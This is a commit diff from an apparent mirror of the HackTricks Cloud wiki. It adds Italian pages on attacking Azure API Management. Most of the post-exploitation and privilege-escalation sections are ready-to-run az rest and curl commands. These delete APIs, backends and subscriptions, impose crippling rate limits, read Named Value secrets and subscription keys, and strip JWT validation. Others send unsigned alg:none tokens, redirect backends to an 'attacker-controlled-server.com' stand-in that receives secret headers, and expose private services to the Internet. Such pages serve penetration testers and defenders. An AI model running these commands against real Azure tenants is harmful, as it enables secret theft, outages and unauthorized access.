mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-25 20:34:33 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,75 @@
|
||||
# Azure - API Management Post-Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
|
||||
L'attaccante può usare molteplici vettori per causare un denial of service. Per bloccare il traffico legittimo, l'attaccante aggiunge rate-limiting e quota policies con valori estremamente bassi, impedendo di fatto l'accesso normale:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Per bloccare specifici indirizzi IP di client legittimi, l'attaccante può aggiungere policy di filtraggio IP che rifiutano le richieste provenienti da indirizzi selezionati:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/backends/write` o `Microsoft.ApiManagement/service/backends/delete`
|
||||
Per far fallire le richieste, l'attaccante può modificare la configurazione del backend e cambiare il suo URL in un indirizzo non valido o non raggiungibile:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://invalid-backend-that-does-not-exist.com",
|
||||
"protocol": "http"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Oppure eliminare i backend:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/apis/delete`
|
||||
Per rendere le API critiche non disponibili, l'attaccante può eliminarle direttamente dal servizio API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
Per bloccare l'accesso da Internet, l'attaccante può disabilitare l'accesso pubblico alla rete sul servizio API Management:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Disabled"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/delete`
|
||||
Per bloccare l'accesso degli utenti legittimi, l'attaccante può eliminare le sottoscrizioni di API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,170 @@
|
||||
# Az - API Management Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
|
||||
|
||||
L'attacco consiste nell'accedere a secrets sensibili memorizzati in Azure API Management Named Values, sia recuperando direttamente i valori dei secrets, sia abusando dei permessi per ottenere secrets Key Vault–backed tramite managed identities.
|
||||
```bash
|
||||
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
|
||||
Per ogni subscription, l'attaccante può ottenere le chiavi della subscription utilizzando l'endpoint listSecrets con il metodo POST:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
|
||||
```
|
||||
La risposta include la subscription primary key (primaryKey) e la secondary key (secondaryKey). Con queste chiavi, l'attacker può autenticarsi e accedere alle APIs pubblicate tramite l'API Management Gateway:
|
||||
```bash
|
||||
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
|
||||
https://<service-name>.azure-api.net/<api-path>
|
||||
```
|
||||
L'attacker può accedere a tutte le APIs e ai prodotti associati alla sottoscrizione. Se la sottoscrizione ha accesso a prodotti o APIs sensibili, l'attacker può ottenere informazioni riservate o eseguire operazioni non autorizzate.
|
||||
|
||||
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
|
||||
L'attacker recupera prima la policy API corrente:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
```
|
||||
L'attaccante può modificare la policy in diversi modi a seconda dei suoi obiettivi. Ad esempio, per disabilitare l'autenticazione, se la policy include la validazione del token JWT, l'attaccante può rimuovere o commentare quella sezione:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- JWT validation removed by the attacker -->
|
||||
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
|
||||
...
|
||||
</validate-jwt> -->
|
||||
</inbound>
|
||||
<backend>
|
||||
<base />
|
||||
</backend>
|
||||
<outbound>
|
||||
<base />
|
||||
</outbound>
|
||||
<on-error>
|
||||
<base />
|
||||
</on-error>
|
||||
</policies>
|
||||
```
|
||||
Per rimuovere i controlli di rate limiting e consentire attacchi di denial-of-service, l'attaccante può rimuovere o commentare le policy di quota e rate-limit:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
<base />
|
||||
<!-- Rate limiting removed by the attacker -->
|
||||
<!-- <rate-limit calls="100" renewal-period="60" />
|
||||
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
Per modificare la route del backend e reindirizzare il traffico verso un server controllato dall'attaccante:
|
||||
```xml
|
||||
<policies>
|
||||
...
|
||||
<inbound>
|
||||
<base />
|
||||
<set-backend-service base-url="https://attacker-controlled-server.com" />
|
||||
</inbound>
|
||||
...
|
||||
</policies>
|
||||
```
|
||||
L'attaccante applica quindi la policy modificata. Il corpo della richiesta deve essere un oggetto JSON contenente la policy in formato XML:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"format": "rawxml",
|
||||
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Misconfigurazione della validazione JWT
|
||||
|
||||
L'attacker deve sapere che un'API usa JWT token validation e che la policy è misconfigurata. Policy di validazione JWT configurate male possono avere `require-signed-tokens="false"` o `require-expiration-time="false"`, il che permette al servizio di accettare unsigned tokens o tokens che non scadono mai.
|
||||
|
||||
L'attacker crea un JWT malevolo usando l'algoritmo none (unsigned):
|
||||
```
|
||||
# Header: {"alg":"none"}
|
||||
# Payload: {"sub":"user"}
|
||||
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
|
||||
```
|
||||
L'attaccante invia una richiesta all'API utilizzando il token malevolo:
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
|
||||
https://<apim>.azure-api.net/path
|
||||
```
|
||||
Se la policy è configurata in modo errato con `require-signed-tokens="false"`, il servizio accetterà il token non firmato. L'attaccante può anche creare un token senza un expiration claim se `require-expiration-time="false"`.
|
||||
|
||||
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
L'attaccante verifica innanzitutto la configurazione di rete corrente del servizio:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
```
|
||||
L'attaccante esamina la risposta JSON per verificare i valori di `publicNetworkAccess` e `virtualNetworkType`. Se `publicNetworkAccess` è impostato su false o `virtualNetworkType` è impostato su Internal, il servizio è configurato per accesso privato.
|
||||
|
||||
Per esporre il servizio a Internet, l'attaccante deve modificare entrambe le impostazioni. Se il servizio è in modalità internal (`virtualNetworkType: "Internal"`), l'attaccante lo modifica in None o External e abilita l'accesso alla rete pubblica. Questo può essere fatto usando l'Azure Management API:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"publicNetworkAccess": "Enabled",
|
||||
"virtualNetworkType": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Una volta che `virtualNetworkType` è impostato su `None` o `External` e `publicNetworkAccess` è abilitato, il servizio e tutte le sue API diventano accessibili da Internet, anche se in precedenza erano protetti dietro una rete privata o private endpoints.
|
||||
|
||||
## `Microsoft.ApiManagement/service/backends/write`
|
||||
L'attaccante prima enumera i backends esistenti per identificare quale modificare:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
```
|
||||
L'attaccante recupera la configurazione corrente del backend che vuole modificare:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
```
|
||||
L'attaccante modifica l'URL del backend per puntare a un server sotto il proprio controllo. Per prima cosa ottiene l'ETag dalla risposta precedente e poi aggiorna il backend:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"description": "Backend modified by attacker"
|
||||
}
|
||||
}'
|
||||
```
|
||||
In alternativa, l'attaccante può configurare le intestazioni di backend per esfiltrare i Named Values contenenti segreti. Questo viene fatto tramite la configurazione delle credenziali di backend:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
--headers "Content-Type=application/json" "If-Match=*" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"url": "https://attacker-controlled-server.com",
|
||||
"protocol": "http",
|
||||
"credentials": {
|
||||
"header": {
|
||||
"X-Secret-Value": ["{{named-value-secret}}"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Con questa configurazione, i Named Values vengono inviati come header in tutte le richieste al backend controllato dall'attaccante, permettendo l'esfiltrazione di segreti sensibili.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# Az - API Management
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Azure API Management (APIM) è un servizio fully managed che offre una **piattaforma unificata per pubblicare, proteggere, trasformare, gestire e monitorare le API**. Permette alle organizzazioni di **centralizzare la strategia API** e garantire governance, prestazioni e sicurezza coerenti attraverso tutti i loro servizi. Agendo come un livello di astrazione tra i servizi di backend e i consumatori di API, APIM semplifica l'integrazione e migliora la manutenibilità fornendo al contempo capacità operative e di sicurezza essenziali.
|
||||
|
||||
## Concetti principali
|
||||
|
||||
**L'API Gateway** funge da punto di ingresso unico per tutto il traffico API, gestendo funzioni come l'instradamento delle richieste verso i servizi di backend, l'applicazione di limiti di chiamata, la memorizzazione nella cache delle risposte e la gestione dell'autenticazione e autorizzazione. Questo gateway è completamente ospitato e gestito da Azure, garantendo alta disponibilità e scalabilità.
|
||||
|
||||
**Il Developer Portal** fornisce un ambiente self-service in cui i consumatori di API possono scoprire le API disponibili, consultare la documentazione e testare gli endpoint. Aiuta a snellire l'onboarding offrendo strumenti interattivi e l'accesso alle informazioni sulle sottoscrizioni.
|
||||
|
||||
**Il Management Portal (Management Plane)** è utilizzato dagli amministratori per configurare e mantenere il servizio APIM. Da qui, gli utenti possono definire API e operation, configurare il controllo accessi, applicare policy, gestire utenti e organizzare le API in prodotti. Questo portale centralizza l'amministrazione e assicura una governance API coerente.
|
||||
|
||||
## Autenticazione e autorizzazione
|
||||
|
||||
Azure API Management supporta diversi meccanismi di autenticazione per proteggere l'accesso alle API. Questi includono subscription keys, OAuth 2.0 tokens e client certificates. APIM si integra inoltre nativamente con Microsoft Entra ID, abilitando la gestione dell'identità a livello enterprise e l'accesso sicuro sia alle API sia ai servizi di backend.
|
||||
|
||||
## Policy
|
||||
|
||||
Le policy in APIM permettono agli amministratori di personalizzare l'elaborazione di request e response a vari livelli di granularità, inclusi il servizio, l'API, l'operation o il prodotto. Attraverso le policy è possibile far rispettare la validazione di JWT token, trasformare payload XML o JSON, applicare rate limiting, limitare le chiamate per indirizzo IP o autenticarsi verso i servizi di backend usando managed identities. Le policy sono altamente flessibili e costituiscono uno dei punti di forza della piattaforma API Management, permettendo un controllo granulare sul comportamento runtime senza modificare il codice di backend.
|
||||
|
||||
## Named Values
|
||||
|
||||
Il servizio fornisce un meccanismo chiamato **Named Values**, che consente di memorizzare informazioni di configurazione come segreti, API keys o altri valori richiesti dalle policy.
|
||||
|
||||
Questi valori possono essere memorizzati direttamente all'interno di APIM o referenziati in modo sicuro da Azure Key Vault. I Named Values promuovono una gestione centralizzata e sicura dei dati di configurazione e semplificano la scrittura delle policy permettendo riferimenti riutilizzabili invece di valori hardcoded.
|
||||
|
||||
## Integrazione di rete e sicurezza
|
||||
|
||||
Azure API Management si integra perfettamente con gli ambienti di Virtual Network, consentendo connettività privata e sicura ai sistemi di backend.
|
||||
|
||||
Quando distribuito all'interno di una Virtual Network (VNet), APIM può accedere a servizi interni senza esporli pubblicamente. Il servizio permette inoltre la configurazione di certificati personalizzati per supportare l'autenticazione mutual TLS con i servizi di backend, migliorando la sicurezza in scenari in cui è richiesta una forte convalida dell'identità.
|
||||
|
||||
Queste funzionalità di networking rendono APIM adatto sia per architetture cloud-native sia ibride.
|
||||
|
||||
|
||||
### Enumerare
|
||||
|
||||
Per enumerare il servizio API Management:
|
||||
```bash
|
||||
# Lists all Named Values configured in the Azure API Management instance
|
||||
az apim nv list --resource-group <resource-group> --service-name <service-name>
|
||||
|
||||
# Retrieves all policies applied at the API level in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Retrieves the effective policy for a specific API in raw XML format
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
|
||||
|
||||
# Gets the configuration details of the APIM service instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
|
||||
# Lists all backend services registered in the APIM instance
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
|
||||
# Retrieves details of a specific backend service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
|
||||
# Gets general information about the APIM service
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
|
||||
|
||||
# Calls an exposed API endpoint through the APIM gateway
|
||||
curl https://<apim>.azure-api.net/<api-path>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user